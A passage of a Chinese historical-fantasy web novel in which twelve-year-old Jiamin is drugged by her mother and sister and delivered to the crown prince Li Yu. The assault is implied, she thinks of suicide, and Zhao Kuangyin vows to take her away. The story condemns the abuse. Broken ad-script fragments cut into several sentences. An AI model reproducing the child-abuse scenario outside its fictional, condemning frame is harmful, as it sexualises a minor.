“没有,真君拒婚了!”陈抟老祖语气波澜不惊娓娓道来:“他虽然很感激弱水娘娘的救助之恩,却并未对她生出半点情愫,自然是不肯的。可那弱水娘娘乃是三界间痴男怨女情欲的化身,见竟被所爱之人拒婚,羞愤之下撞了天柱自绝于真君面前。真君并非铁石心肠之辈,就用自己一半的神元替她续命,此事才暂且揭过,可真君这笔情债是妥妥的欠下了。” 嘉敏眨眨眼,“那此事可还有后续?” 陈抟老祖沉声道:“后续自然有,就是现在!如今那弱水娘娘已然苏醒,听闻真君下界救世,便去求天帝让自己也投身为凡人,想要在凡间与真君结一世夫妻之缘。天帝念及之前对她的许诺,再则因果之债非还不可,自然也就允了。” “允了……”嘉敏茫然失措,“那红莲公主呢?她难道不是真君的仙侣吗?” “红莲公主后来居上,弱水娘娘又岂会甘心?”陈抟老祖意味深长地道:“倘若今世她在凡俗之间依旧无法如愿,那么回到仙界免不了又是一场情债厮杀,我想连真君自己也不乐意见到这等情景,更何况命数乃天帝所定,是改不了的。” 嘉敏抱膝坐在床上,心下一片惘然,她似乎知道自己就是红莲公主转世,与赵匡胤之间有割舍不了的缘分。可若上天注定她将暂时让位于另外一个女人,她又该如何?想了半晌,喃喃道:“这些年我从未听赵哥哥说过,他身边出现过其他女子。” “就是因为害怕此事不成,天帝才许了三个化身给弱水娘娘。第一个早已出现,就是你的姐姐周娥皇。”陈抟老祖淡淡道:“当时你年幼,大约不知道自己姐姐的心思,连赵公子怕是也对此毫无知觉。你姐姐在遇到他之前已经订下婚事,其实是弱水对他的爱而不得,自伤自怜。一旦你姐姐故去,他就会遇见第二个弱水化身,也就是他将来的发妻。” “我姐姐……”嘉敏一时思绪复杂,在她的心里,姐姐一直深爱着李煜,又怎会暗暗喜欢着她的赵哥哥? 遥想当年赵匡胤送她回金陵之时,姐姐风华正茂,好像终日有扮不完的艳丽妆容,弹不断的情词软曲,费不尽的玲珑心思,藏不住的忧愁眼波,而今想来大约是暗含着情愫,可惜不为人知罢了。 嘉敏顿觉头痛不已,她从未想过姐妹二人竟会爱上了同一个男人,而姐姐这些年大约也隐藏的很苦吧。可即便如此,也不足以令她放弃和赵匡胤的姻缘,他们明明两情相悦,怎能轻易分开? 陈抟老祖恍似看穿了她的心思,幽幽道:“周二小姐,抛开弱水娘娘转世之事不提,让你不要这个时候成婚,还有更重要的原因。你该知道真君前两次下界,一次转世为秦始皇,另一次是唐太宗,两次征伐天下,已造下太多杀孽。倘若这次依旧如此,回到天界以后,只怕将要遭受万年以前飞升之时的阴煞聚结之祸,他的神元已然残缺了一半,究竟能不能抗下这等祸劫,谁也不敢保证。唯一的办法,便是少造杀孽,而这件事怕是只有周二小姐才能助他达成。” 嘉敏皱眉不解,“我如何能做到?” 陈抟老祖缓缓道:“若你一直留在江南,我想他将来用兵之际自然会有所顾虑。在他心里,天下之主的位置不是非坐不可,可周二小姐你却是一定要护着的。只要你在江南一天,他就不会大举兴兵,使这大好河山沦为一片焦土。老道的建议或许会让你们因此而劳燕分飞,可总有一日你们还会重聚。错过的姻缘可以再续,乱了的棋局想重新布置可就难了!” “要我……留在江南?可是……”嘉敏说不出话来,明明他们很快就要成亲了,而且她并不想留下。 “周二小姐,许多事冥冥之中自有天意,所谓天有不测风云,事到临头,不妨想一想老道的话。只肖记得赵公子的安危系于你一人之身,便自然知晓该如何行事,届时老道自会推波助澜,不教你吃亏!”陈抟老祖言罢飘然而去,好像所有的一切都在算计之中。 嘉敏茫然失措,不知他话里究竟藏着怎样的玄机,只是接连几日寝食难安,旁人看在眼里,也只当她是忧虑婚事,并不如何在意。 因婚事秘而不宣,周府并未张灯结彩,只是粗略装饰了一下。 嘉敏整日待在闺房里等着赵匡胤来,这日被母亲强行带出来,说是都要出嫁了,是否也该进宫和姐姐道个别。 “可是姐姐大概不愿意见我!”嘉敏心下忐忑,非只是害怕姐姐的怨气,更怕节外生枝。 “你姐姐早不怪你了,她一个病弱之人,过了今天没明天的,若给她知道你这般悄悄出嫁,怕是又要多心了。你们好歹是亲姐妹,总该说几句道别的话吧。”周夫人说罢掩面而泣。 嘉敏心下酸涩不已,只得随着母亲去了。 果如母亲所言,周娥皇已经不再怨怼妹妹,待她甚为亲厚,还准备了平日里只有皇后才能吃的膳食给她。 周夫人劝她不要辜负了姐姐的美意,那日母女三人度过了一段特别快乐的光阴。 “嘉敏,如果可以的话,真想和娘还有你永不分离!”周娥皇语笑嫣然,连病容也褪了大半。 “姐姐——”嘉敏一时动容,却无法说出自己将要出嫁之事。 周娥皇将她抱在怀里,如幼时一般悉心呵护,柔声道:“但愿来世你我还做姐妹!” 周夫人神色复杂地瞧着自己的大女儿,那一刻她忽然觉得自己从来都没有了解过她。 用完膳食,周娥皇又赏下衣裳首饰,周夫人就令嘉敏快去换上,好教姐姐开心。 嘉敏虽觉怪异,可她自来听话,便跟着宫娥下去梳妆打扮。 皇宫里的东西自然皆非俗物,又经宫娥一双巧手梳了个十分新奇好看的发髻,只有十二岁的嘉敏登时光彩照人宛如天仙下凡。 嘉敏瞧着那衣裳乃是一套新的舞裙,比自己生辰那日穿的舞裙还要精致许多,心下也颇欢喜。 打扮好正要去见姐姐,却被母亲拦下,说是姐姐已经睡熟,刚好父亲也入宫来了,正在面见太子,要她再等等好一块儿回去。 嘉敏听说父亲来了,暗暗感觉到安心,也就安静地在姐姐寝宫等着。 期间母亲拿来点心给她吃,又递给她一杯酒喝。 嘉敏从未饮过酒,喝完直皱眉头:“好辣!” 周夫人不顾她想要喝点别的压一压,把她搀扶起来道:“你爹爹快要忙完了,我们去找他吧!”说罢将她带到一处宫殿去。 嘉敏瞧着眼前巍峨的皇宫有些迷惑地道:“这个地方不是姐夫的寝宫吗?娘,我们是不是不应该进去?如果爹爹在里面的话,我们在这里等他就是了!” 周夫人见她还有几分清醒,遂扯谎道:“你那赵哥哥也在里面,进去了就能见着了!” 嘉敏笑道:“娘,你别骗我了,赵哥哥是大周的将军,怎么会在南唐的宫殿里呢?我们还是先回去吧,我有点困了,想睡!”说着打了个哈欠。 周夫人满脸焦急,接着哄道:“你那赵哥哥这次是和你爹爹一起来的,他们可都在里面,你不想见他吗?” 也不知是娘的话太令她迷惑还是如何,嘉敏只觉一阵头晕,迷迷糊糊地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 笑道:“想!”说着颤巍巍朝李煜的宫殿走去。 今晚月色颇好,鹅黄的柔光照在嘉敏身上,她跌跌撞撞走进宫殿,只觉心间有团火一点点地在身体扩散开来,视线也越来越模糊。 时辰已经到了深夜,宫娥大约也都睡去了,楼阁之中不见其他人,走了许久,忽见月光下坐着一个一身月白锦袍的男子。 “赵哥哥——”嘉敏含糊不清地道,她记得自己托爹爹带去的新衣袍也是月白色的。 “赵匡胤”显然并没有发现她,嘉敏突然狡黠一笑,脱下脚上的金缕鞋,莲步轻移,足音近似于无,悄然靠近。 月下之人突然弹奏起了素琴,是温柔清婉的南国调子。 嘉敏暗觉诧异,想不到短短数月,赵匡胤竟能将南国的曲子弹奏的如此雅致。但以她对音律的敏感,只闻得几声便在月下翩翩起舞,跳的正是连日来苦练不断的软舞。 月下之人乍然见了在不远处舞蹈的嘉敏,琴声为之一滞,嘉敏的舞却不曾停,越跳越是娇媚动人。月下之人又弹奏了起来,琴声响彻宫殿。 待佳人舞罢,他便走上前去将她抱在怀里柔声唤道:“嘉敏——” 嘉敏脸颊泛着奇特的嫣红之色,尚不曾看清眼前之人的脸,就被他抱进了宫殿。 …… 是夜,滁州客栈。 入睡没多久赵匡胤就做了一个梦,梦见嘉敏满脸泪水坐在房中,把刚写完的书信一片片撕碎,而后打开窗,窗外竟是万丈深渊,嘉敏一个投身急速向下坠落…… “嘉敏……嘉敏……”赵匡胤惊坐而起,四下一片漆黑,惊觉乃是一场噩梦,可这梦境为何如此真实,会不会是嘉敏真的出了什么事? 思虑片刻,再也无法入睡,遂写了一封书信,言明自己要先一步去往金陵,令王审琦和石守信等人带着聘礼随后赶到即可,写完连夜快马加鞭朝金陵城赶去。 而此刻身在金陵城中的嘉敏确然打开了窗,绣楼颇高,虽不是万丈深渊,跳下去的话大概也会香消玉殒。 犹豫了一会儿,还是暂且打消了念头,或者可以见了赵哥哥以后再去也不迟。 这时响起了敲门声,娘和一干仆人焦急地在门外喊:“嘉敏,你快开门呀!娘知道你受了委屈,觉得身体很不舒服,娘带了药给你,你不要不出门,不要吓唬娘好不好?” 嘉敏跑过去背靠着门堵了个严实,泣道:“娘,此刻你还想对女儿做什么?女儿的一切你都被你设计好了,夺走了……你难道还不肯放过女儿吗?” 周夫人知她伤心,却还是规劝道:“嘉敏,娘这么做也全是为了,你想想,你姐夫那是将来的国主,你跟了他,以后就和你姐姐一样,能当皇后,地位身份贵不可言,你怎么就想不通呢?” 嘉敏怒吼:“我不要当什么皇后……我要赵哥哥……我要赵哥哥……”说着哭坐在地上一遍遍小声重复着:“我只要我的赵哥哥……” 八月初一,赵匡胤到了金陵,因他夙夜赶路,清晨已经入城。 这天江南人都会早起,去接草尖上的露水研磨,再将墨汁滴到小孩的额头、腹部,用来祛除百病,谓之“天灸”。 此风俗还是嘉敏告诉他的,当年他也曾这般为她做过。 路过繁华的金粉银楼,楼上笙歌依旧未歇,那醉酒的女子口里还唱着些柔靡曲词:“花明月黯笼轻雾,今宵好向郎边去。刬袜步香阶,手提金缕鞋。画堂南畔见,一晌偎人颤。奴为出来难,教君恣意怜。” 歌喉很美,倒不由得人不驻足聆听,只是曲词太香艳了些。 恩客意兴阑珊,打着哈欠道:“这曲子你都唱了一个晚上了,还不过瘾么?” 女子娇笑道:“这可是太子新作的曲子,人人都争着唱,说起来谁又不想做他曲中的人物呢?” 恩客“嗤”笑一声:“你可知道这曲中人是谁?那可是太子妃的亲妹妹,太子的小姨子。这周家的二小姐真是了不得,小小年纪就知道勾引姐夫,真是荒唐!” 天光之下赵匡胤猛一抬眼,不觉乱了心神。 24.佳期如梦 周府,嘉敏坐在冰冷的地上,昨天发生的事情在脑子里不停重复着。 那时候周夫人告诉嘉敏需进宫向姐姐道别,她推脱不得,遂答应了母亲。 可是她不知道自己怎么会跑去了姐夫的寝宫,一觉醒来,身边睡着自己的姐夫! 嘉敏捂紧耳朵拼命摇着头,只想把那不堪的画面从自己脑中剔除。 那温柔多情的郎君虽安慰不久定会接她入宫,可她不想入宫,甚至都不知道自己身上究竟发生了什么可怕的事情。 直到母亲含蓄地表示,她与姐夫已经行了夫妻之礼,将会和姐姐一样入宫为妃,所有明白不明白的全都不重要了。 她不再是那个待字闺中的少女,而是成了妇人! 母亲虽心疼她昨夜所受的苦,一路上都把她搂在怀里,可脸上隐隐还有一丝对自己筹谋成功喜悦。 嘉敏回房之后便反锁了门,慢慢回想着所有的事情:姐姐给她的漂亮衣服,娘一定要让她在宫里就打扮好,还有那杯酒…… 所有的一切串联起来,像极了一场阴谋。 她顿时觉得头痛不止,挣扎着拿起笔墨,把所有的事情写下来告诉她的赵哥哥,却越写越觉得难以启齿,写到最后已然了悟自己已失了女儿家的清白之身。此等羞耻之事若给赵哥哥知道了,他还会怎样看待她? 嘉敏不敢再想,伏案痛哭,哭累了就把写好的信一点点撕碎,打开窗趁着夜色洒了出去,眼眸不自觉向下看,突然起了念头,竟想从窗子跳下去一了百了,却在正要行动的时候听到了赵匡胤在叫她—— 或许赵哥哥并不想她这么做吧,他那么疼爱自己,就算知道了这件事也只会心疼对不对? 那就等赵哥哥来吧,等他来带自己走,以后赵哥哥的家就是自己的家,他们永远待在一起,再也不分开。 这么迷迷糊糊想着突然睡过去,等爹爹终于回府,命仆人将门撞开,才发现她发了高烧昏倒在地已不知多久。 周府上下皆慌了神,请来宫中太医为嘉敏诊治,太医把脉之后却吞吐着讲不出话,待周夫人将下人支开才道:“二小姐发生此事太过伤身,一时难以承受才高烧不退,须好好调养几日。我这就开个方子,按时煎服大约无碍。” 周宗听他闪烁其词,禁不住问道:“嘉敏发生了什么事伤到了身子,太医你倒是说清楚啊!” 太医面露难色,周夫人干脆道:“昨日我带嘉敏入宫看她姐姐,留至夜晚,太子瞧见了嘉敏,很是喜欢,所以就赐予恩宠,还说过几日迎进宫中封为娘娘。” 虽忧心女儿,周夫人面上却不觉露出一丝喜色。 一时祸事变喜事,连太医也变了脸色,连连贺喜,还说定将小周娘娘的身体早日调理好,以免耽搁了入宫的大事。 而身为父亲的周宗却只觉得犹如一个晴天霹雳把自己劈到,再看向床榻上昏睡不醒的嘉敏,心痛的说不出话。 打发走太医,周宗愤怒地抓住妻子的手拖回房中,指着她的鼻子骂道:“你……你都对嘉敏做了什么?一五一十全都告诉我!咱们的那位太子女婿虽说风流多情了些,可也不至于会强迫嘉敏一个尚未长大的女孩儿,可若说嘉敏是自愿前去承宠,我也不会相信,是不是你和皇后一起策划了这一切?” 周夫人原也没想着瞒他什么,回答的也很干脆,“太医说娥皇的日子怕是不多了,若周家再不送一个女儿入宫,皇后之位迟早旁落,连仲愚的地位怕是也不保。而以太子的文采风流,一般女子也瞧不上,只有嘉敏如花似玉温柔可怜,皇后也甚是喜欢。再说她又是娥皇的亲妹妹,仲愚的亲小姨,将来定能为其保全。保全了仲愚,也就保全了周家的富贵荣华,这等谋划难道不是个万全之策么?” 周宗听了这话几乎气炸了肺,怒骂:“你只知道心疼娥皇和仲愚,难道就不心疼嘉敏吗?小时候在家里把她弄丢,多亏有一个侠骨柔肠的赵公子千里相送回来,才得一家团聚。而嘉敏这些年心里眼里全都是她的赵哥哥,她命中的夫君该是赵公子才对,不是你的大女婿,你做什么要如此戕害于她?” 周夫人大怒:“够了!那个赵匡胤区区一介武夫,他有什么资格娶我的嘉敏?嘉敏嫁给她姐夫,将来可是会像娥皇一样当皇后的,嫁给 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 那姓赵的能有什么风光?再说那姓赵的常年征战沙场,保不齐哪一天就魂归西天,嘉敏就做了寡妇,你竟然拿他和咱们的太子女婿相比,简直是滑天下之大稽!” “果然是一介妇人,见识比头发长不了多少!”周宗厉喝道:“方今天下四方战祸不断,你可知那一介武夫今后能有多大作为?川蜀、大周、北汉,哪一国的皇帝不是一介武夫?我前些日子还遇到了陈抟老神仙,他亲口告诉我那赵公子乃是天上的真君下凡来拯救苍生,将来必定会一统天下,结束这乱世江山,位登九重,做天底下唯一的皇帝。嘉敏是皇后的命格不错,可一棋之差,是做姓李的皇后,还是当姓赵的皇后,结局天差地远。而那赵公子与嘉敏乃是命定的姻缘,你强行将他们拆散,其祸不小,怕是连带我们整个周家都要毁在你手里了!” 周夫人惊骇,却强撑着道:“一个云游道士的话你竟当真了么?若说那赵匡胤有当皇帝的本事,打死我也不相信。” “就算你不信,我已将嘉敏许配了赵公子,你明知道这两日他们就要成婚,还要做出这等事来。你说说看,如今这等局面,等匡胤来了我要如何向他交代?”周宗疲惫不堪地坐在床上,扶着额头皱眉不语。 周夫人冷笑:“只需告诉他,嘉敏是被江南太子看上的人,叫他知难而退,了不起多送他财帛礼物当作补偿,总不至于他还能将嘉敏抢走不成?” 周宗已经懒得理会这愚昧的妻子,冷冰冰地道:“早知嘉敏有你这样的娘,真该让她当年就随了赵公子去,也不会遭受今日之屈辱。” 周夫人大怒:“你什么意思?” 周宗道:“你对女儿做出这等事,如今还指望她顾念你是娘亲么?只要她的赵哥哥愿意带走她,难道嘉敏还会犹豫?当娘当到你这个份上,也真是造孽!我这可怜的女儿,也是投错了胎,若有下辈子,我求你仁慈一点,可别再当嘉敏的娘了,她受不起!” 听得丈夫如此斥责,周夫人愤愤不平:“你这是什么话?我为女儿谋划,哪里错了?” 夫妻俩这般唇枪舌战犹未结束,忽听管家来报说赵公子来了! 25.两情久长 周宗惊诧他竟来的这般快,慌里慌张出去迎接,回头不忘告诫妻子:“你若还有些羞耻之心,待会儿见到匡胤就一个字也别说,不然这烂摊子你自己收拾!” 这边赵匡胤刚把马匹和武器卸下,也顾不得那么多礼仪,直往会客厅去,见了周氏夫妇二人拱手道:“周伯父、周伯母,小侄贸然造访,还请见谅!” 周宗摇头,“不碍事,我还以为你要晚几天才到。” 赵匡胤皱眉道:“原本是和几位弟兄一起带了些礼物来的,可两天前的晚上,我突然梦到嘉敏她……”那梦境太过诡异,遂止住不提。 二老听他说这话,未免心里直打鼓,周夫人心虚道:“只不过是一个梦而已,也值得你这般风尘仆仆地赶来?” “伯母有所不知,小侄与嘉敏之间好像冥冥之中有什么特殊的联系,自那年金陵一别,我偶尔会梦到嘉敏,不是被毒虫咬了,就是差点落水。原本也觉得大约是对她放心不下才做了这些噩梦,可后来嘉敏在给我的信中却一件件印证了这些事情!”赵匡胤焦急地道:“二老可否让我先见一见嘉敏?” 周宗和夫人面面相觑,他们倒还没听过此事,只得仓皇应对:“嘉敏……嘉敏不在家……” 话音甫落,身后突然响起一个虚弱的声音:“赵哥哥——” 却是嘉敏光着脚站在不远处的廊檐下,一脸病容单薄的身躯摇摇欲坠。 赵匡胤慌忙上前抱住她,“嘉敏……嘉敏你怎么了?”用手一摸,额头烫的犹如火炭。 “赵哥哥,你终于来了!”嘉敏晕晕乎乎地道:“我还以为这辈子再也见不到你了!” 赵匡胤心痛不已,摸着她的脸颊颤声道:“傻瓜,怎么会?” “赵哥哥,我感觉好痛,痛的快要死了……”嘉敏烧红的脸上连落下的泪都冒起了热气。 “你是受伤了么,伤到了哪里?”赵匡胤搭着她的脉,细弱的几乎难以捕捉。 “娘说……不能和任何人说……说很羞耻,给别人知道了,我就不能活了……”嘉敏断断续续说着,头痛欲裂,“和赵哥哥也不能说……说了你就会嫌弃我,再也不来看我了……” 赵匡胤一口热血直冲向脑门,心下已经有了些不好的猜测,却尽力克制,柔声劝慰道:“你娘在骗你呢!赵哥哥这辈子都不会嫌弃你,会一直爱护你,就像小时候我们在路上一样。如果有坏人来了,我就把他打跑,你什么都不用怕,好不好?” 嘉敏眼神闪烁,追问道:“可如果是发生了很坏的事情……很坏很坏的事情……赵哥哥也不嫌弃我吗?” “若赵哥哥嫌弃你,你就把我绑起来丢到河里去喂鱼,好不好?”赵匡胤轻声细语安慰,胸口却闷到要命,又恐风吹到她,遂替她把眼泪擦干抱回房中。 管家上前道:“赵公子你可来了,二小姐自打病了以后便不肯吃饭,也不吃药,老爷夫人也拿她没办法,你劝一劝她好不好?” 赵匡胤一言不发,只是点头,把管家送来的白粥一口一口喂给嘉敏吃,又喂她吃了药,看着她睡熟了才走出来。 周氏夫妇诚惶诚恐地等在外面,对上他的目光,即无奈又闪躲。 赵匡胤定了定神沉声道:“周伯父,前些日子我们在清凉寺会面,嘉敏还好好的,可如今见她却是这般模样!究竟是发生了什么事,烦请你一五一十告诉我,不管是什么坏事我都受得住。” 他心下猜测嘉敏多半是被李煜找机会欺辱了,毕竟在城中已听过那青楼歌妓所唱的曲子,而周氏夫妇恐无法向他交代,这才有意躲闪。 “事已至此,也不好再瞒你!”周宗仰头闭目叹息一声道:“匡胤,但愿你听完以后莫要冲动。” 虽然嘉敏所遭遇之事和猜测中差不多,可赵匡胤万万没想到她不是不小心被害,而是中了母亲和姐姐精心策划的阴谋。 一边听一边握紧拳头,连眼眶也红了,恶狠狠地看着周夫人,强忍着没有落泪,咬牙切齿道:“天下竟然还有这般心肠歹毒的母亲和居心叵测的姐姐!你们这般害嘉敏,就不怕将来遭报应么?” 周宗听他那握紧的双拳咯咯作响,也不由胆寒,恐他对夫人下手,颤声道:“匡胤,此事是我周家对你不住,嘉敏……既已失了贞洁,便不配再做你的妻子,婚事就此作罢……” “周大人——”赵匡胤大声打断,一字一句铿锵有力,“当年周家弄丢了嘉敏,是我千里迢迢从并州将她送回来。一直以来,赵某皆不曾以恩人自居,可你扪心自问,嘉敏的这条命该是我救的,此事你们可认?” 周宗点头,“赵公子大恩大德,老夫自然是认的!” 赵匡胤又道:“既然如此,决定嘉敏命运的人也该是我才是!婚书既已签下,赵某便从未想过反悔,她如今已是我赵匡胤的妻子,我自当将她带回家中成婚。聘礼什么的已在路上,若二老觉得不足,我回去再添补一些便是!俗话说嫁出去的女儿泼出去的水,日后嘉敏的生老病死便与周家无关,二老也不必忧心,我赵匡胤在此指天立誓,若日后有半点薄待嘉敏,便教我万箭穿心死无葬身之地!” 周宗见他如此激动,惊恐道:“匡胤啊,我知你心里难过,可也不能这般随意诅咒自己!” “若我做得到对嘉敏温柔体贴一心一意,诅咒自然不会灵验!”赵匡胤冷冷道:“这周家待嘉敏如此凉薄,怕是她住着已不安稳,我现在就将她带走,望大人和夫人不要拦着。若执意阻拦,赵某不介意动一动那一杆银枪。”话说到这份上便头也不回地离开了。 周夫人大惊失色,指着赵匡胤的背影对丈夫道:“他……他说要带走嘉敏……我的嘉敏可是要做皇后的,姓赵的怎么能把她带走?老爷,你快去拦着他呀!” “拦——拦什么拦?”周宗也是气的头晕脑胀,怒道:“你把女儿害成这般模样,却还惦记着那皇后之位,还有没有一点良心?如果嘉敏今日愿意和匡胤走,我这做父亲的便做主成全他们,有婚书在手,嘉敏已是他的妻子,他要带走,我周家有什么好说的?反倒是那太子,没名没分的欺辱我女儿,若非他是太子,依照当朝律法,可是死罪!他若是登门来要嘉敏,我便是拼了这条老命,也要跟他理论个清楚!嘉敏才十二岁,他身为姐夫怎么可以……他怎么可以……”说着老泪纵横,一阵揪心的疼。 周夫人也并非不心疼女儿,只是事情已发生,强颜欢笑罢了,此刻亦有几分痛悔,咬着牙不再多说什么。 回到房中,嘉敏已经 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 醒来,拥着被子坐在床上,哭肿了的双眼依旧空洞地流着泪。 想到她当晚所受的痛楚,赵匡胤心如刀绞,抱她在怀里柔声道:“嘉敏,赵哥哥在汴京城置了座宅院,地方虽然不算大,也足够我们一起生活了,我给你换一个家好不好?” 嘉敏听罢,咬着嘴唇点头。 “那……你有什么想带的东西吗?收拾一下我们现在就走。”赵匡胤想着若再待下去,就算嘉敏受得了他也要发疯,不如干脆一点,越早走越好,至于那个李煜,早晚收拾他! 嘉敏勉力下床,把自己最宝贝的箱子打开,里面全是赵匡胤这些年给她买的衣服礼物和书信。 赵匡胤皱眉道:“东西太多了,你先把最喜欢的拿上,剩下的过两日我让你石守信哥哥再回来取,好不好?” 嘉敏听话地把东西都放下,只带上了最好带的书信。 收拾好,赵匡胤便抱着她出门。 周夫人追过来喊道:“嘉敏……你就这么跟他走了,你不要娘了吗?” 嘉敏略将头抬起,看着母亲哽咽道:“女儿想要娘,可是……是娘先不要女儿的……” 赵匡胤不想再教人惹嘉敏哭,径自绕过周夫人而去。 周宗守在门口,目光与赵匡胤对视,又转向了嘉敏,柔声道:“嘉敏,自打你出生以来,爹爹就常年在外,你在家中受的委屈爹爹有推卸不了的责任。今日随你赵哥哥离去,也算是成了半个大人,只盼日后你和匡胤能够儿孙满堂恩爱百年,爹爹……不留你了……”言罢送出一个锦盒道:“这里面装的龙凤手镯本是爹爹打算在你成亲之日压箱底的嫁妆,今日你一并带了去吧。” 嘉敏接过抱在怀里,小声谢过父亲。 赵匡胤心想此事与周宗干系不大,无论如何,自己终是带走了他的掌上明珠,遂道:“若嘉敏以后想爹爹了,我便送她回来探亲。” 周宗掩面泣道:“好!好!” 管家按照老爷的吩咐,把马牵来,正待离开,周娥皇的鸾驾突然驾临,阻住了去路。 是周夫人见赵匡胤来了,深恐所谋之事有所闪失,遂差人送了口信去往宫中。 周娥皇虽缠绵病榻,听了此事也不由得不焦急,是以匆匆赶来,竟真被她给拦下了。 嘉敏一脸茫然,她到如今还以为自己所遭遇之事乃是母亲一手策划,多半与姐姐无关,是以尚存着些许骨肉手足之情,见姐姐一脸病入膏肓的模样出现在自己面前,禁不住甚为关切。 “嘉敏,你这是要去哪儿?”周娥皇下了马车,挡在二人面前温柔地问。 “我……”嘉敏不知该如何向姐姐解释,毕竟她与自己的姐夫曾经发生过那般荒唐的事情,心下觉得十分对不住姐姐,是以吞吐犹疑。 周娥皇微笑道:“姐姐回来了,你不陪着我待一会儿吗?” 这祸水红颜的大周娘娘如今已是将死之身,赵匡胤虽有些许怜悯,可还是一眼看透了她的伪装,什么姐妹情深,她不过是要强留嘉敏罢了! “嘉敏,就陪姐姐一小会儿,一小会儿好不好?”周娥皇央求道。 嘉敏正自踌躇不已,面前的姐姐却突然口吐鲜血倒地不起。 “姐姐——” 26.凤箫吹断 周家人个个魂飞魄散,纷纷上前围住周娥皇。 周夫人大声道:“嘉敏,你姐姐都快死了,你要走也不该是这个时候啊!” 嘉敏吓坏了,抬眼无声地向赵匡胤求救。 赵匡胤虽硬得下心肠,可念及嘉敏并不知道连姐姐也算计了她,也不想戳破这残忍的真相,只能打消了马上离开的计划。 周府两位小姐皆是一身伤病,嘉敏还好些,有赵匡胤百般照顾,尚且可以复原,可谁都知道贵为太子妃的周娥皇怕是时日无多了。 嘉敏也自回房养病,听说姐姐已经醒过来,本想去看她,却被赵匡胤阻止:“你自己还发着高烧,若去了惹的你姐姐更不好,岂非麻烦?还是好好躺着,等烧退了再去!” 嘉敏想着有理,便躺下睡去了。 入夜,周娥皇竟派人将赵匡胤请了去。 赵匡胤本不想理会,可又恐她吵到嘉敏,干脆便去见她一见。 清冷的月光下,周娥皇病体愈发单薄,低着头不住咳嗽。 “赵公子,我听爹爹讲了你和嘉敏的事,我……很抱歉!”周娥皇虽体力不支,依旧费力地说着话。 赵匡胤瞧她那副模样,强忍着怒气耐着性子道:“周娘娘,你如今的身体,多说几句话都费劲,有什么事不妨直说,也好早些回去养着。” 周娥皇讪笑道:“我们南人性子含蓄,比不得赵公子直爽。不过若说什么重要的话,自然是希望赵公子将嘉敏还给周家,莫要一意孤行酿成大祸。” 赵匡胤冷笑,“若我不肯呢?” 周娥皇瞥了他一眼,正色道:“嘉敏是我江南皇后娘娘钦定的新妃人选,你若将她带走,抢的可是太子的亲,你认为自己还能活着走出金陵城吗?” “我赵某人的死活不劳周娘娘费心,你大可现在就派兵阻拦试试。”赵匡胤身经百战,岂是一句小小的威胁就能退缩? “你……”周娥皇怒,“你明知道此事涉及嘉敏清誉,还想拼个鱼死网破,看来你对她的疼爱也不过如此!” “那你呢?”赵匡胤怒道:“嘉敏如此看重你这个姐姐,你对她所做的一切又算什么?你有什么资格和我谈谁更疼爱嘉敏?” “我让出了自己的丈夫,让出了后位,把这一切全都给了妹妹,我还不够疼爱她么?”周娥皇冷言反驳:“我知道你想说什么,一个将死之人,后位显然是守不住的。可想要这个位置的人成千上百,我唯独把它留给了嘉敏,你认为我为此付出的还不够多吗?” “嘉敏是说过稀罕你的那个丈夫,还是说过稀罕你的后位?”赵匡胤简直不想与她再多费口舌,“你强行塞给她的东西问都不问一声,你当她是什么?” “能成为皇后是至高的荣耀,她有何不愿?”周娥皇强辩道:“这满金陵城公卿贵胄家的女子自小学的就是皇族礼仪,日后好入宫为帝王后妃,嘉敏也不例外。她本就是被当做储妃养大的,不是给太子,也是配给其他的王爷,我想这一点赵公子心里多少有数。试问如果她嫁给了赵公子你,还会有那般荣耀加身吗?” 赵匡胤陡然间眸色一寒:“区区后位而已,若嘉敏想要,我赵某人也不是给不起!”此话已是大逆不道,可他似乎浑然不觉,就好像是灵魂出窍才说出来的一样。 不待周娥皇自震惊中清醒过来,又听他接着道:“倒是周娘娘你,若真的这般在意,合该好好活着,守住你自己的荣耀,嘉敏她不需要。” 周娥皇强自镇定下来,冷冷道:“即便如此,嘉敏已经失去了贞洁,我不信你连这个也不在乎!” “周娥皇——”赵匡胤暴怒,“我今日就把话撂在这里,不管嘉敏发生了什么,我都不会再将她留在金陵受你们的算计,贞洁,是只有你这种以色事人的女人才会在意的无聊玩意儿,嘉敏跟了我去,我必一生宠爱她,除非我死,否则绝不会再让人伤她一根毫发!” 周娥皇凄然一笑,柔声道:“我当年嫁给太子的时候,本也以为能够一生一世恩爱到老,怎料世事多变,成了如今的样子。赵公子,兴许是我小瞧了你对嘉敏的感情,可似你这般身怀大志之人,当真能将一个女子放在心间,不惧时间的流逝,不惧她容颜渐老,也不害怕世间万般磨难,长相思守至死不渝吗?非是我不肯信你,我只是信不过这世间万象。” “你相信与否,于我和嘉敏并无太大干系,自己生活过的不如意,是你运气不好!”赵匡胤依旧言语冰冷,如果她不曾害嘉敏,自己大约会很同情,可如今只剩厌恶了。 毕竟总不能因为自己不幸,就去害无辜的人。 “那么……眼下的事情呢?”周娥皇提醒道:“试想一下,你将嘉敏带走以后周家将遭遇什么?倘若皇后震怒,我们的双亲势必身陷囹圄,届时怕是阖府上下皆会沦为阶下之囚。而嘉敏如果知道自己一意孤行造成了这般可怕的后果,你认为她还能和你开开心心的恩爱百年吗?赵公子,我们这些金陵贵女生来便是这样的命运,逃不过的又何止嘉敏一个?” “我与嘉敏早已签下婚书,纵然是江南太子,也该讲礼法吧!”赵匡胤虽知此事不易,却不愿退缩,只道:“周娘娘,有多么希望你能够长命百岁,如此,我们各自都能安好,你还是好好歇着吧!” 周娥皇苦笑:“长命百岁?多谢赵公子了!不过这个世间带给我的一切很快就要结束了,痛苦也好,欢愉也罢,皆似一瞬间的事情。嘉敏的路要怎么走,若赵公子你已替她做出了决定,我无话可说,但愿你能做到自己所说的那些,一生一世爱她如初。” 三日后,大周后薨逝。 留在周家的最后一天,曾命嘉敏来见她,神色复杂地道:“你要听话!” 周夫人慌忙道:“嘉敏,快答应你姐姐,快呀!快呀!” 